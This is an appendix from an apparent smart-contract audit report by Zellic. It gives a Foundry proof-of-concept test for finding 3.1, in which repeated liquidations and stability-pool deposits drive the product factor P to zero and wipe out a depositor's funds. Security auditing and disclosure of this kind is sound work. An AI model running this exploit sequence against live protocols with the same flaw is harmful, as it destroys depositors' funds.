Appendix

Derivation of P

The following information is based off R. Pardoe, “Scalable reward distribution with compounding stakes,” Dec. 2020.

Exploit for the finding 3.1

Follow is an exploit written in foundry for the finding explained in 3.1

function testPto0Exploit() public{
    //assign addresses and give tokens.
    address depositor = vm.addr(0x8089);
    address alice = vm.addr(0xa11c3);
    address defaulter_1 = vm.addr(0xdef1);
    address defaulter_2 = vm.addr(0xdef2);
    address defaulter_3 = vm.addr(0xdef3);
    vm.startPrank(deployer);
    mockerc20.mint(depositor,10000000 * 1e18);
    mockerc20.mint(defaulter_1,10000 * 1e18);
    mockerc20.mint(defaulter_2,10000 * 1e18);
    mockerc20.mint(defaulter_3,10000 * 1e18);
    vm.stopPrank();

    //A depositor provides debttoken to SP. 
    vm.startPrank(depositor);
    mockerc20.approve(address(borroweroperations),100000 * 1e18);
    borroweroperations.openTrove(IERC20(mockerc20),address(depositor),
    1e17,100000 * 1e18,100000 * 1e18,address(0),address(0));

    debttoken.transfer(alice,debttoken.balanceOf(depositor));
    vm.startPrank(alice);
    debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
    stabilitypool.provideToSP(10000 * 1e18);
    vm.stopPrank();

    //Attacker creates 3 troves with 3 different addresses.
    vm.startPrank(defaulter_1);
    mockerc20.approve(address(borroweroperations),10000 * 1e18);
    borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_1),
    1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
    vm.stopPrank();

    vm.startPrank(defaulter_2);
    mockerc20.approve(address(borroweroperations),10000 * 1e18);
    borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_2),
    1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
    vm.stopPrank();

    vm.startPrank(defaulter_3);
    mockerc20.approve(address(borroweroperations),10000 * 1e18);
    borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_3),
    1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
    vm.stopPrank();

    //Price of collateral comes down.
    pricefeed.storePrice(110 * 1e18);

    //Step 1. Attacker liquidates their first trove.
    liquidationmanager.liquidate(IERC20(mockerc20),defaulter_1);
    console.log("Value of P after first liquidation", stabilitypool.P());
    //Step 2. Attacker provides debttoken to SP.
    debttoken.transfer(alice,debttoken.balanceOf(depositor));
    vm.startPrank(alice);
    debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
    stabilitypool.provideToSP(9999999999999999980000);
    vm.stopPrank();
    //Step 3. Attacker liquidates their second trove.
    liquidationmanager.liquidate(IERC20(mockerc20),defaulter_2);
    console.log("Value of P after second liquidation", stabilitypool.P());
    //Step 4. Attacker provides debttoken to SP.
    debttoken.transfer(alice,debttoken.balanceOf(depositor));
    vm.startPrank(alice);
    debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
    stabilitypool.provideToSP(9999999999999999980000);
    vm.stopPrank();
    //Step 6. Attacker liquidates their third trove.
    liquidationmanager.liquidate(IERC20(mockerc20),defaulter_3);
    console.log("Value of P after third liquidation", stabilitypool.P());
    // P here is now 0.
    vm.startPrank(alice);
    console.log("Alice's deposits in stability pool before the withdrawal",stabilitypool.deposits(alice));
    console.log("Alice's balance of debttoken before the withdrawal",debttoken.balanceOf(alice));
    stabilitypool.withdrawFromSP(1000000000);
    console.log("Alice's deposits in stability pool after the withdrawal",stabilitypool.deposits(alice));
    console.log("Alice's balance of debttoken after the withdrawal",debttoken.balanceOf(alice));
    console.log("Alice's deposits are now erased from the pool without being returned");
}
Zellic © 2025Back to top ↑